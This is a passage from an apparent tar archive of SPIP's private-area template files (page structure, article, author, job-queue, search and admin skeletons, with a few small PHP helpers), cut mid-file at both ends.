class="#ENV{type-page,page}[ #ENV{type-page,page}_(#ENV{composition,''})][ statut_(#SESSION{statut})][ webmestre_(#SESSION{webmestre})][ auteur_(#SESSION{id_auteur})] [(#REM|init_body_class)][(#ENV{type-page,page}|match{_edit$}|oui)edition]">})]})] <INCLURE{fond=prive/squelettes/inclure/barre-nav,lang,recherche,plugins=(#REM|parametres_css_prive)}> <div id="page"> <INCLURE{fond=prive/objets/liste/auteurs_enligne}> [(#SESSION{id_auteur}|alertes_auteur)] <div class="largeur"> <div id="haut"> <div id="chemin"> <INCLURE{fond=prive/squelettes/hierarchie/#ENV{type-page},ajax=hierarchie,env}> </div> [(#REM)<!-- Ici, # INCLURE car top/xx peut affecter la globale 'pleine_largeur' -->] #INCLURE{fond=prive/squelettes/top/#ENV{type-page},ajax=top,env} </div> <div id="conteneur" class="[(#LARGEUR_ECRAN)]"> <div id="navigation" class='lat' role='contentinfo'> <INCLURE{fond=prive/squelettes/navigation/#ENV{type-page},ajax=navigation,env}> [(#EVAL{$GLOBALS}|table_valeur{spip_ecran}|=={large}|oui) </div> <div id="extra" class='lat' role='complementary'>] <INCLURE{fond=prive/squelettes/extra/#ENV{type-page},ajax=extra,env}> </div> <div id="contenu" role='main'> <INCLURE{fond=prive/squelettes/contenu/#ENV{type-page},ajax=contenu,env}> </div> </div> <br class="nettoyeur" /> </div> <div id="pied"> <div class="largeur"> <INCLURE{fond=prive/squelettes/inclure/pied}> </div> </div> </div> </body> page.html000060400000000167152526346700006360 0ustar00<INCLURE{fond=prive/squelettes/structure}{env}{type-page=#ENV{type-page,#ENV{exec}}}{composition=#ENV{composition,''}}>structure.html000060400000002374152526346700007506 0ustar00#HTTP_HEADER{Cache-Control: no-cache,must-revalidate} #HTTP_HEADER{Pragma: no-cache} #CONST{_DOCTYPE_ECRIRE} [(#REM) http://paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/ ]<!--[if lt IE 7 ]> <html class="[(#LANG_DIR)][ (#LANG)] no-js ie ie6 lte9 lte8 lte7" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <![endif]--> <!--[if IE 7 ]> <html class="[(#LANG_DIR)][ (#LANG)] no-js ie ie7 lte9 lte8 lte7" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <![endif]--> <!--[if IE 8 ]> <html class="[(#LANG_DIR)][ (#LANG)] no-js ie ie8 lte9 lte8" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <![endif]--> <!--[if IE 9 ]> <html class="[(#LANG_DIR)][ (#LANG)] no-js ie ie9 lte9" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <![endif]--> <!--[if (gt IE 9)|!(IE)]><!--> <html class="[(#LANG_DIR)][ (#LANG)] no-js" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <!--<![endif]--> <head> <INCLURE{fond=prive/squelettes/head/#ENV{type-page},env,espace_prive=1}> </head> [(#LISTE{titre,sinon}|sanitize_env)] <INCLURE{fond=prive/squelettes/body,env,espace_prive=1}> </html> ajax.html000060400000000305152526346700006361 0ustar00[(#REM) Appels ajax sur un bloc ] #SET{zajax,#VAL{var_zajax}|_request|replace{\W,''}} <INCLURE{fond=prive/squelettes/#GET{zajax}|concat{'/',#ENV{type-page}},ajax=#GET{zajax},espace_prive=1,env}>top/infos_perso.html000060400000000137152526346700010571 0ustar00[(#REM|sinon_interdire_acces{#SESSION{id_auteur}|generer_url_entite{auteur}|replace{&,&}})]top/dist.html000060400000000014152526346700007200 0ustar00<!-- top -->top/aide.html000060400000000076152526346700007147 0ustar00<h1><:info_aide_en_ligne:></h1> #LARGEUR_ECRAN{pleine_largeur}top/configurer_langage.html000060400000000067152526346700012066 0ustar00[(#VAL{infos_perso}|barre_onglets{configurer_langage})]top/auteur.html000060400000000210152526346700007540 0ustar00[(#ENV{id_auteur}|=={#SESSION{id_auteur}}|oui) [(#VAL{infos_perso}|barre_onglets{infos_perso})] <style>#chemin {display: none}</style> ]top/plan.html000060400000000066152526346700007176 0ustar00<h1><:plan_site:></h1> #LARGEUR_ECRAN{pleine_largeur} top/configurer_preferences.html000060400000000073152526346700012766 0ustar00[(#VAL{infos_perso}|barre_onglets{configurer_preferences})]objet.html000060400000000155152526346700006544 0ustar00<INCLURE{fond=prive/squelettes/structure}{env}{type=#ENV{page,#ENV{type}}}{composition=#ENV{composition,''}}>contenu/configurer_preferences.html000060400000000300152526346700013630 0ustar00<!-- <h1 class="grostitre"><:icone_mes_preferences:></h1> --> <div class="ajax"> #FORMULAIRE_CONFIGURER_PREFERENCES </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_PREFERENCES_MENUS </div>contenu/suivi_edito.html000060400000001621152526346700011436 0ustar00<h1 class="grostitre"><:info_suivi_activite:></h1> #SET{recentwhere,''} <BOUCLE_haspostdate(ARTICLES){statut=publie}{0,1}> [(#SET{recentwhere,[NOT ((#VAL{date}|quete_condition_postdates))]})] <INCLURE{fond=prive/objets/liste/articles,titre=<:info_article_a_paraitre:>,statut=publie,par=date,date_sens=1,nb=5,where=#GET{recentwhere},env,ajax} /> [(#SET{recentwhere,[(#VAL{date}|quete_condition_postdates)]})] </BOUCLE_haspostdate> [(#REM) En cours de validation ][ [(#BOITE_OUVRIR{<:texte_en_cours_validation:>,'basic highlight'})] (#PIPELINE{accueil_encours,#INCLURE{fond=prive/objets/liste/articles,titre=<:info_articles_proposes:>,statut=prop,id_rubrique,par=date,ajax,env}}) [(#VAL{a_suivre}|bouton_spip_rss)] #BOITE_FERMER ] [(#REM) Les articles recents ] <INCLURE{fond=prive/objets/liste/articles,titre=<:articles_recents:>,statut=publie,par=date,where=#GET{recentwhere},nb=5,env,ajax} /> contenu/configurer.html000060400000000305152526346700011254 0ustar00#SET{configurer,#VAL{configurer_}|concat{#ENV{cfg}} [(#AUTORISER{bouton,#GET{configurer}}|sinon_interdire_acces)] <INCLURE{fond=prive/squelettes/inclure/configurer,configurer=#GET{configurer},env}>contenu/configurer_interactions.html000060400000001171152526346700014040 0ustar00[(#AUTORISER{configurer,_interactions}|sinon_interdire_acces)] <h1 class="grostitre"><:onglet_interactivite:></h1> <div class='contenu_public'> <h3><:titre_config_contenu_public:></h3> <div class="ajax"> #FORMULAIRE_CONFIGURER_REDACTEURS </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_VISITEURS </div> <!--contenu_public--> </div> <div class='contenu_prive'> <h3><:titre_config_contenu_prive:></h3> <!--contenu_prive--> </div> <div class='contenu_notifications'> <h3><:titre_config_contenu_notifications:></h3> <div class="ajax"> #FORMULAIRE_CONFIGURER_ANNONCES </div> <!--contenu_notifications--> </div> contenu/configurer_avancees.html000060400000000657152526346700013133 0ustar00[(#AUTORISER{configurer,_interactions}|sinon_interdire_acces)] <h1 class="grostitre"><:onglet_fonctions_avances:></h1> <div class="ajax"> #FORMULAIRE_CONFIGURER_REDUCTEUR </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_AVERTISSEUR </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_PREVISUALISEUR </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_RELAYEUR </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_MODERNISEUR </div>contenu/navigation_fonctions.php000060400000000127152526346700013157 0ustar00<?php if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/bandeau'); contenu/article.html000060400000006116152526346700010542 0ustar00[(#AUTORISER{voir,article,#ID_ARTICLE}|sinon_interdire_acces)] <BOUCLE_article(ARTICLES){id_article}{statut==.*}{si #ENV{exec}|=={article}}> [(#LANG|changer_typo)] [(#BOITE_OUVRIR{[ [(#AUTORISER{modifier,article,#ID_ARTICLE}) [(#ID_ARTICLE|afficher_qui_edite{article}|non) [(#URL_ECRIRE{article_edit,id_article=#ID_ARTICLE}|icone_verticale{<:icone_modifier_article:>,article,edit,right ajax preload})] ] [(#ID_ARTICLE|afficher_qui_edite{article}|oui) [(#URL_ECRIRE{article_edit,id_article=#ID_ARTICLE}|icone_verticale{#ID_ARTICLE|afficher_qui_edite{article},warning-24,'',right edition_deja ajax preload})] ] ] [<h4 class='surtitre #EDIT{surtitre}'>(#SURTITRE|image_reduire{440,300})</h4>] <h1[ class='(#EDIT{titre})']>[(#RANG). ](#TITRE|sinon{<:info_sans_titre:>})[(#CHEMIN_IMAGE{article-24.png}|balise_img{article,cadre-icone})]</h1> [<h2 class='soustitre #EDIT{soustitre}'>(#SOUSTITRE)</h2>] ],simple fiche_objet})] [(#REM|changer_typo)] #SET{options,#ARRAY} [(#STATUT|=={prop}|oui)[(#SET{options,[(#ARRAY{label_date,<:texte_date_publication_objet:>})]})] ] <div class="ajax"> #FORMULAIRE_DATER{article,#ID_ARTICLE,'',#GET{options}} </div> <div class="ajax"> #FORMULAIRE_EDITER_LIENS{auteurs,article,#ID_ARTICLE} </div> <!--affiche_milieu--> <BOUCLE_proposer(ARTICLES) {id_article} {statut=prepa} {id_auteur=#SESSION{id_auteur}} {si #SESSION{statut}|=={1comite}|et{#AUTORISER{modifier,article,#ID_ARTICLE}}} > #BOITE_OUVRIR{'',note center proposer} <p><:texte_proposer_publication:></p> [(#BOUTON_ACTION{<:bouton_demande_publication:>,#URL_ACTION_AUTEUR{instituer_objet,article-#ID_ARTICLE-prop,#SELF},'',<:confirm_changer_statut:>})] #BOITE_FERMER </BOUCLE_proposer> [(#STATUT|=={prop}|oui) #BOITE_OUVRIR{'',note center propose} <p><:text_article_propose_publication:></p> #BOITE_FERMER ] <div id="wysiwyg"> <h2 class="invisible"><:previsualisation:></h2> <INCLURE{fond=prive/objets/contenu/article,id=#ID_ARTICLE,id_article=#ID_ARTICLE,virtuel=oui,ajax=wysiwyg,wysiwyg=1,espace_prive}> </div> <div class="nettoyeur"></div> [(#AUTORISER{modifier,article,#ID_ARTICLE}) [(#ID_ARTICLE|afficher_qui_edite{article}|non) [(#URL_ECRIRE{article_edit,id_article=#ID_ARTICLE}|icone_verticale{<:icone_modifier_article:>,article,edit,right ajax preload})] ] [(#ID_ARTICLE|afficher_qui_edite{article}|oui) [(#URL_ECRIRE{article_edit,id_article=#ID_ARTICLE}|icone_verticale{#ID_ARTICLE|afficher_qui_edite{article},warning-24,'',right edition_deja ajax preload})] ] ] #PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,article,id,#ID_ARTICLE},data,'<div class="nettoyeur"></div>'}} #BOITE_FERMER #SET{enfants,''} [(#PIPELINE{affiche_enfants,[(#ARRAY{args,#ARRAY{exec,#ENV**{exec},objet,article,id_objet,#ID_ARTICLE},data,#GET{enfants}})]})] [(#CONST{_AJAX}|oui) <script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#chemin,#extra');/*\]\]>*/</script> ] </BOUCLE_article> [(#ENV**{exec}|=={article_edit}|?{#INCLURE{fond=prive/squelettes/contenu/article_edit,redirect='',env,retourajax=oui},#REM|sinon_interdire_acces{'',<:info_aucun_article:>}})] <//B_article> contenu/article_edit.html000060400000000133152526346700011540 0ustar00<INCLURE{fond=prive/echafaudage/contenu/objet_edit,objet=article,id_objet=#ID_ARTICLE,env}>contenu/visiteurs.html000060400000002347152526346700011156 0ustar00<h1 class="grostitre"><:info_visiteurs:></h1> #SET{statuts,#VAL{visiteurs}|auteurs_lister_statuts{0}} [(#GET{statuts}|count|non)#SET{statuts,#ARRAY{0,zzzz}}] <B_st> <div class="onglets_simple clearfix"> <ul> <li>[(#SELF|parametre_url{statut,''}|lien_ou_expose{<:info_tout_afficher:>,[(#ENV{statut,''}|non)],ajax})]</li> <BOUCLE_st(POUR){tableau #GET{statuts}}{si #GET{statuts}|count|>{1}}> <li>[(#SELF|parametre_url{statut,#VALEUR}|lien_ou_expose{[(#VALEUR|traduire_statut_auteur)],#ENV{statut,''}|=={#VALEUR},ajax})]</li> </BOUCLE_st> </ul> </div> </B_st> [(#ENV{id_auteur}|oui) <a href="[(#SELF|parametre_url{id_auteur,''})]"><:icone_tous_visiteur:></a> ] #FORMULAIRE_RECHERCHE_ECRIRE{#SELF,ajax} <div class='nettoyeur'></div> #SET{filtre,#SESSION{statut}|=={0minirezo}|?{poubelle,'prepa|poubelle|refuse'}|explode{|}} [(#INCLURE{fond=prive/objets/liste/visiteurs,nb=30,filtre_statut_articles=#GET{filtre},statut=#ENV{statut}|in_any{#GET{statuts}}|?{#ENV{statut},#GET{statuts}},env,ajax} |sinon{#ENV{recherche}|?{ #VAL{info_recherche_auteur_zero}|_T{#ARRAY{cherche_auteur,#ENV{recherche}}}|wrap{'<h3>'} }}) ] [(#AUTORISER{creer,auteur}) [(#URL_ECRIRE{auteur_edit,new=oui}|icone_verticale{<:icone_creer_nouvel_auteur:>,auteur,new,right})] ] contenu/plan.html000060400000000121152526346700010037 0ustar00 <INCLURE{fond=prive/squelettes/inclure/plan-rubriques, id_parent=0, env, ajax}> contenu/accueil.html000060400000002474152526346700010527 0ustar00<h1 class="none"><:icone_accueil:></h1> #SET{recentwhere,''} <BOUCLE_haspostdate(ARTICLES){statut=publie}{0,1}> [(#CONFIG{post_dates}|=={non}|et{#SESSION{statut}|=={0minirezo}|oui}) [(#SET{recentwhere,[NOT ((#VAL{date}|quete_condition_postdates))]})] <INCLURE{fond=prive/objets/liste/articles,titre=<:info_article_a_paraitre:>,statut=publie,par=date,date_sens=1,nb=5,where=#GET{recentwhere},env,ajax} /> [(#SET{recentwhere,[(#VAL{date}|quete_condition_postdates)]})] ] </BOUCLE_haspostdate> [(#REM) Les articles recents ] <INCLURE{fond=prive/objets/liste/articles,titre=<:articles_recents:>,statut=publie,par=date,where=#GET{recentwhere},nb=5,env,ajax} /> [(#REM) Vos articles en cours ] [(#SET{titre,#URL_ECRIRE{articles,id_auteur=#SESSION{id_auteur}}|afficher_plus_info|concat{<:info_en_cours_validation:>}})] <INCLURE{fond=prive/objets/liste/articles,titre=#GET{titre},statut=prepa,id_auteur=#SESSION{id_auteur},par=date,env,ajax} /> [(#REM) En cours de validation ][ [(#BOITE_OUVRIR{<:texte_en_cours_validation:>,'basic highlight'})] (#PIPELINE{accueil_encours,#INCLURE{fond=prive/objets/liste/articles,titre=<:info_articles_proposes:>,statut=prop,id_rubrique,par=date,ajax,env}}) [(#VAL{a_suivre}|bouton_spip_rss)] #BOITE_FERMER ] [(#REM|afficher_enfant_rub|image_reduire{245,0}) <div class='nettoyeur'></div> ]contenu/configurer_identite.html000060400000000376152526346700013151 0ustar00<h1 class="grostitre"><:titre_identite_site:></h1> [(#AUTORISER{configurer,_identite}|sinon_interdire_acces)] <div class='ajax'> #FORMULAIRE_CONFIGURER_IDENTITE </div> <div class="ajax"> #FORMULAIRE_EDITER_LOGO{site,0,'',#ARRAY{image_reduire,395}} </div>contenu/job_queue_fonctions.php000060400000000504152526346700012775 0ustar00<?php if (!defined('_ECRIRE_INC_VERSION')) { return; } function job_queue_block_and_watch() { // bloquer la queue sur ce hit // pour avoir coherence entre l'affichage de la liste de jobs // et les jobs en base en fin de hit define('_DEBUG_BLOCK_QUEUE', true); include_spip('inc/genie'); genie_queue_watch_dist(); } contenu/recherche_fonctions.php000060400000000650152526346700012751 0ustar00<?php if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/rechercher'); include_spip('base/abstract_sql'); function inclure_liste_recherche_par_id($table, $id, $statut, $env) { if (is_string($env)) { $env = unserialize($env); } $env[id_table_objet($table)] = $id; if ($statut) { $env['statut'] = $statut; } unset($env['recherche']); return recuperer_fond("prive/objets/liste/$table", $env); } contenu/configurer_multilinguisme.html000060400000000255152526346700014407 0ustar00[(#AUTORISER{configurer,_multilinguisme}|sinon_interdire_acces)] <h1 class="grostitre"><:info_langues:></h1> <div class="ajax"> #FORMULAIRE_CONFIGURER_MULTILINGUISME </div>contenu/configurer_contenu.html000060400000000526152526346700013014 0ustar00[(#AUTORISER{configurer,_contenu}|sinon_interdire_acces)] <h1 class="grostitre"><:onglet_contenu_site:></h1> <div class="ajax"> #FORMULAIRE_CONFIGURER_ARTICLES </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_RUBRIQUES </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_LOGOS </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_FLUX </div> contenu/rubriques.html000060400000000511152526346700011131 0ustar00<h1 class="grostitre"><:info_rubriques:></h1> <!--affiche_milieu--> [(#PIPELINE{affiche_enfants,[(#ARRAY{args,#ARRAY{exec,rubriques},data,#INCLURE{fond=prive/objets/contenu/rubrique-enfants,id_rubrique=0,env}})]})] #PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,rubrique,id,0},data,'<div class="nettoyeur"></div>'}}contenu/rubrique_edit.html000060400000000135152526346700011755 0ustar00<INCLURE{fond=prive/echafaudage/contenu/objet_edit,objet=rubrique,id_objet=#ID_RUBRIQUE,env}>contenu/job_queue.html000060400000003412152526346700011071 0ustar00#CACHE{0} [(#AUTORISER{administrer,queue}|sinon_interdire_acces)] [(#REM|job_queue_block_and_watch)] <h1 class="grostitre"><:queue_titre:></h1> <B_jobs> <div class="liste"> <h3>[(#GRAND_TOTAL|singulier_ou_pluriel{queue_one_job_in_queue,queue_nb_jobs_in_queue})]</h3> <p>#SET{nb,#REM|queue_sleep_time_to_next_job}<:queue_next_job_in_nb_sec{nb=#GET{nb}}:></p> [<p class="pagination">(#PAGINATION{prive})</p>] <ul class="liste-items"> <BOUCLE_jobs(jobs){par date}{pagination 20}> <li class="item[ (#STATUS|?{'scheduled','pending'})]"> <div class="date">[(#DATE|date_relative)][ (#STATUS|non)(en cours)][(#PRIORITE|oui)[#PRIORITE]]</div> [<strong class="description">(#DESCRIPTIF|PtoBR)</strong>] [<span class="small">| #FONCTION((#ARGS|unserialize|implode{','}))</span>] [(#AUTORISER{'annuler','job',#ID_JOB}|oui) <div class="actions"> [(#BOUTON_ACTION{<:annuler:>,#URL_ACTION_AUTEUR{annuler_job,#ID_JOB,#SELF},ajax})] [(#BOUTON_ACTION{<:queue_executer_maintenant:>,#URL_ACTION_AUTEUR{forcer_job,#ID_JOB,#SELF}})] </div> ] </li> </BOUCLE_jobs> </ul> [<p class="pagination">(#PAGINATION{prive})</p>] [(#AUTORISER{'purger','queue'}|oui) <p><:queue_info_purger:></p> <div class="actions"> [(#BOUTON_ACTION{<:queue_purger_queue:>,#URL_ACTION_AUTEUR{purger_queue,'x',#SELF},ajax})] </div> ] </div> </B_jobs> <h3><:queue_no_job_in_queue:></h3> [(#AUTORISER{'purger','queue'}|oui) <p><:queue_info_purger:></p> <div class="actions"> [(#BOUTON_ACTION{<:queue_purger_queue:>,#URL_ACTION_AUTEUR{purger_queue,'x',#SELF},ajax})] </div> ] <//B_jobs> <script type="text/javascript">/*<![CDATA[*/ function queue_reload(){jQuery('h1').ajaxReload();} if (window.jQuery) setTimeout(queue_reload,60000); /*]]>*/</script>contenu/configurer_langage.html000060400000000126152526346700012733 0ustar00<!-- <h1 class="grostitre"><:icone_ma_langue:></h1> --> #FORMULAIRE_CONFIGURER_LANGAGEcontenu/admin_tech.html000060400000002725152526346700011214 0ustar00[(#AUTORISER{detruire}|sinon_interdire_acces)] <h1 class="grostitre"><:titre_admin_tech:></h1> [(#REM) Tester que les .htacess fonctionnent bien correctement et sinon mettre un gentil message d'information... ] [(#CONST{_DIR_TMP}|verifier_htaccess{1}|et{#CONST{_DIR_CONNECT}|verifier_htaccess{1}}|non) #BOITE_OUVRIR{#VAL{htaccess_inoperant}|_T|wrap{'<h3>'},'notice','titrem'} [(#SET{htaccess,[<tt>(#CONST{_ACCESS_FILE_NAME})</tt>]})] [(#SET{constantes,<tt>_DIR_TMP & _DIR_CONNECT</tt>})] [(#SET{document_root,[<tt>(#EVAL{table_valeur($_SERVER,'DOCUMENT_ROOT')})</tt>]})] <p><:htaccess_a_simuler{htaccess=#GET{htaccess},constantes=#GET{constantes},document_root=#GET{document_root}}:></p> #BOITE_FERMER ] [(#AUTORISER{reparer,base}) <!--reparer_base--> #BOITE_OUVRIR{#VAL{texte_recuperer_base}|_T|wrap{'<h3>'},'simple','titrem'} <p><:texte_crash_base:></p> #BOITE_PIED [(#BOUTON_ACTION{<:bouton_tenter_recuperation:>,#URL_ECRIRE{base_repair}})] #BOITE_FERMER <!--/reparer_base--> ] [(#AUTORISER{detruire}|oui) <!--declarer_base--> <div class="ajax"> #FORMULAIRE_DECLARER_BASES </div> <!--/declarer_base--> ] <!--effacer_base--> #BOITE_OUVRIR{#VAL{texte_effacer_base}|_T|wrap{'<h3>'},'error','titrem'} <p><:info_avertissement:></p> <p><:texte_admin_effacer_01:></p> <p><strong><:avis_suppression_base:></strong></p> #BOITE_PIED [(#BOUTON_ACTION{<:bouton_effacer_tout:>,#URL_ECRIRE{base_delete_all,reinstall=non}})] #BOITE_FERMER <!--/effacer_base--> contenu/synchro.html000060400000004467152526346700010613 0ustar00<h1 class="grostitre"><:icone_suivi_activite:></h1> [(#CONFIG{suivi_edito}|=={oui}|oui) [(#CONFIG{adresse_suivi}|strlen|>{3}|et{#CONFIG{adresse_suivi_inscription}|strlen|>{3}}) [(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{racine-24.png}|balise_img{'',cadre-icone})]<:ical_titre_mailing:>})] <p><:info_config_suivi_explication:></p> <p class="center"><a href='mailto:#CONFIG{adresse_suivi_inscription}'>#CONFIG{adresse_suivi_inscription}</a></p> #BOITE_FERMER ] ] [(#REM) /// /// Suivi par agenda iCal (taches + rendez-vous) /// ] [(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{agenda-24.png}|balise_img{'',cadre-icone})]<:icone_calendrier:>})] <p><:calendrier_synchro:></p> <p><:ical_info_calendrier:></p> #BOITE_OUVRIR{'',raccourcis} <p><:ical_texte_public:></p> [(#URL_PAGE{ical}|url_absolue|icone_horizontale{<:ical_methode_http:>,agenda-24.png})] [(#URL_PAGE{ical}|url_absolue|replace{'https?:\/\/','webcal://'}|icone_horizontale{<:ical_methode_webcal:>,agenda-24.png})] #BOITE_FERMER [(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{cadenas-24.png}|balise_img{'',cadre-icone})],raccourcis})] <p><:ical_texte_prive:></p> #SET{url,#URL_PAGE{ical_prive,id_auteur=#SESSION{id_auteur}}|parametre_url{arg,#SESSION{id_auteur}|afficher_low_sec{ical}}} [(#GET{url}|url_absolue|icone_horizontale{<:ical_methode_http:>,agenda-24.png})] [(#GET{url}|url_absolue|replace{'https?:\/\/','webcal://'}|icone_horizontale{<:ical_methode_webcal:>,agenda-24.png})] #BOITE_FERMER #BOITE_FERMER [(#REM) /// /// Suivi par RSS /// ] [(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{synchro-24.png}|balise_img{'',cadre-icone})]<:ical_titre_rss:>})] <p><:ical_texte_rss:></p> <p><:ical_texte_rss_articles:></p> <pre>[(#URL_PAGE{backend}|url_absolue)]</pre> <p><:ical_texte_rss_articles2:></p> <B_secteurs> <ul class="liste-items"> <BOUCLE_secteurs(RUBRIQUES){racine}> <li class="item"><a href="#URL_PAGE{backend,id_rubrique=#ID_RUBRIQUE}" title="[(#TITRE|attribut_html)]">[(#CHEMIN_IMAGE{rss-16.png}|balise_img{RSS})] #TITRE</a></li> </BOUCLE_secteurs> </ul> </B_secteurs> #BOITE_FERMER [(#REM) /// /// Suivi par Javascript /// ] [(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{document-24.png}|balise_img{'',cadre-icone})]<:ical_titre_js:>})] <p><:ical_texte_js:></p> <pre> <script type="text/javascript" src="[(#URL_PAGE{distrib}|url_absolue)]"> </script> </pre> #BOITE_FERMERcontenu/articles.html000060400000001630152526346700010721 0ustar00<h1 class="grostitre"><:titre_page_articles_page:></h1> <div class='onglets_simple clearfix'> <ul> <li>[(#SELF|parametre_url{id_auteur,''}|lien_ou_expose{<:info_articles_tous:>,[(#ENV{id_auteur,''}|non)],ajax})]</li> <li>[(#SELF|parametre_url{id_auteur,#SESSION{id_auteur}}|lien_ou_expose{<:info_articles_miens:>,#ENV{id_auteur,''}|=={#SESSION{id_auteur}},ajax})]</li> </ul> </div> #FORMULAIRE_RECHERCHE_ECRIRE{#SELF,ajax} <div class="nettoyeur"></div> #SET{statuts,#SESSION{statut}|statuts_articles_visibles} [(#ENV{id_auteur,''}|=={#SESSION{id_auteur}}|oui) #SET{statuts,#GET{statuts}|array_merge{#LISTE{prepa}}} ] <INCLURE{fond=prive/objets/liste/articles,statut=#GET{statuts},par=date,id_auteur=#ENV{id_auteur,''},nb=30,env,ajax}> [(#AUTORISER{creer,article}) [(#URL_ECRIRE{article_edit,new=oui}|parametre_url{id_rubrique,#ENV{id_rubrique}}|icone_verticale{<:icone_ecrire_article:>,article,new,right})] ] contenu/auteurs.html000060400000002247152526346700010610 0ustar00<h1 class="grostitre"><:info_auteurs:></h1> #SET{statuts,#VAL{redacteurs}|auteurs_lister_statuts} <B_st> <div class="onglets_simple clearfix"> <ul> <li>[(#SELF|parametre_url{statut,''}|lien_ou_expose{<:info_tout_afficher:>,[(#ENV{statut,''}|non)],ajax})]</li> <BOUCLE_st(POUR){tableau #GET{statuts}}{si #GET{statuts}|count|>{1}}> <li>[(#SELF|parametre_url{statut,#VALEUR}|lien_ou_expose{[(#VALEUR|traduire_statut_auteur)],#ENV{statut,''}|=={#VALEUR},ajax})]</li> </BOUCLE_st> </ul> </div> </B_st> [(#ENV{id_auteur}|oui) <a href="[(#SELF|parametre_url{id_auteur,''})]"><:icone_tous_auteur:></a> ] #FORMULAIRE_RECHERCHE_ECRIRE{#SELF,ajax} <div class='nettoyeur'></div> #SET{filtre,#SESSION{statut}|=={0minirezo}|?{poubelle,'prepa|poubelle|refuse'}|explode{|}} [(#INCLURE{fond=prive/objets/liste/auteurs,nb=30,filtre_statut_articles=#GET{filtre},statut=#ENV{statut}|in_any{#GET{statuts}}|?{#ENV{statut},#GET{statuts}},env,ajax} |sinon{#ENV{recherche}|?{ #VAL{info_recherche_auteur_zero}|_T{#ARRAY{cherche_auteur,#ENV{recherche}}}|wrap{'<h3>'} }}) ] [(#AUTORISER{creer,auteur}) [(#URL_ECRIRE{auteur_edit,new=oui}|icone_verticale{<:icone_creer_nouvel_auteur:>,auteur,new,right})] ] contenu/admin_vider.html000060400000000501152526346700011370 0ustar00[(#AUTORISER{configurer,_admin_vider}|sinon_interdire_acces)] <h1 class="grostitre"><:texte_vider_cache:></h1> <p><:texte_suppression_fichiers:></p> <p><:texte_recalcul_page:></p> <INCLURE{fond=prive/squelettes/inclure/admin_vider_cache,ajax,env}> <INCLURE{fond=prive/squelettes/inclure/admin_vider_images,ajax,env}> contenu/auteur_edit.html000060400000002050152526346700011422 0ustar00[(#ID_AUTEUR|intval|oui) [(#AUTORISER{modifier,auteur,#ID_AUTEUR}|sinon_interdire_acces)] ][(#ID_AUTEUR|intval|non) [(#AUTORISER{creer,auteur}|sinon_interdire_acces)] ] #SET{retour,#ENV{redirect}|sinon{#ID_AUTEUR|intval|?{#URL_ECRIRE{auteur,id_auteur=#ID_AUTEUR},#URL_ECRIRE{auteurs}}}} <div class='cadre-formulaire-editer'> <div class="entete-formulaire"> [(#ID_AUTEUR|oui) [(#GET{retour}|icone_verticale{<:icone_retour:>,auteur,'',left retour[(#ENV{retourajax,''}|oui)ajax preload]})] ] [[(#ID_AUTEUR|?{<:info_modifier_auteur:>,<:titre_ajouter_un_auteur:>})] <h1>(#ENV{titre,#INFO_NOM{auteur,#ID_AUTEUR}|sinon{<:info_sans_titre:>}})</h1>] </div> #SET{redirect,#ENV{redirect,#ID_AUTEUR|generer_url_entite{auteur}}} [(#ENV{retourajax,''}|oui) #SET{redirect,#GET{retour}} <div class="ajax"> ] #FORMULAIRE_EDITER_AUTEUR{#ENV{id_auteur,oui},#GET{redirect},#ENV{associer_objet}} [(#ENV{retourajax,''}|oui) </div> <script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#extra');/*\]\]>*/</script> ] </div> contenu/infos_perso.html000060400000000327152526346700011443 0ustar00<!-- <h1 class="grostitre"><:icone_mes_infos:></h1> --> <INCLURE{fond=prive/squelettes/contenu/auteur,id_auteur=#SESSION{id_auteur},exec=#ENV{exec}|replace{infos_perso,auteur},redirect=#URL_ECRIRE{infos_perso},env}>contenu/recherche.html000060400000002552152526346700011047 0ustar00[<h1 class="grostitre"><:info_resultat_recherche:> «(#ENV{recherche})»</h1>] [(#ENV{recherche}|non)<h1 class="grostitre"><:info_rechercher:></h1>] #FORMULAIRE_RECHERCHE_ECRIRE{#URL_ECRIRE{recherche},ajax} <div class="nettoyeur"></div> <BOUCLE_num(CONDITION){si #ENV{recherche}|is_numeric}> <BOUCLE_tablesid(POUR){tableau #REM|liste_des_champs} {cle !IN forum,syndic_article,paquet,plugin} {si #ENV{recherche}}>[ (#SET{table,#CLE|table_objet})][ (#SET{statut,[(#CLE|=={article}|?{[(#SESSION{statut}|statuts_articles_visibles)],''})]}) ][(#GET{table}|trouver_fond{prive/objets/liste/} |?{#GET{table}|inclure_liste_recherche_par_id{#ENV*{recherche},#GET{statut},#ENV**}}) ]</BOUCLE_tablesid> [(#VAL{info_recherche_auteur_zero}|_T{#ARRAY{cherche_auteur,#ENV{recherche}}}|wrap{'<h3>'})] <//B_tablesid> </BOUCLE_num> <BOUCLE_tables(POUR){tableau #REM|liste_des_champs} {cle !IN forum,syndic_article,paquet,plugin} {si #ENV{recherche}}>[ 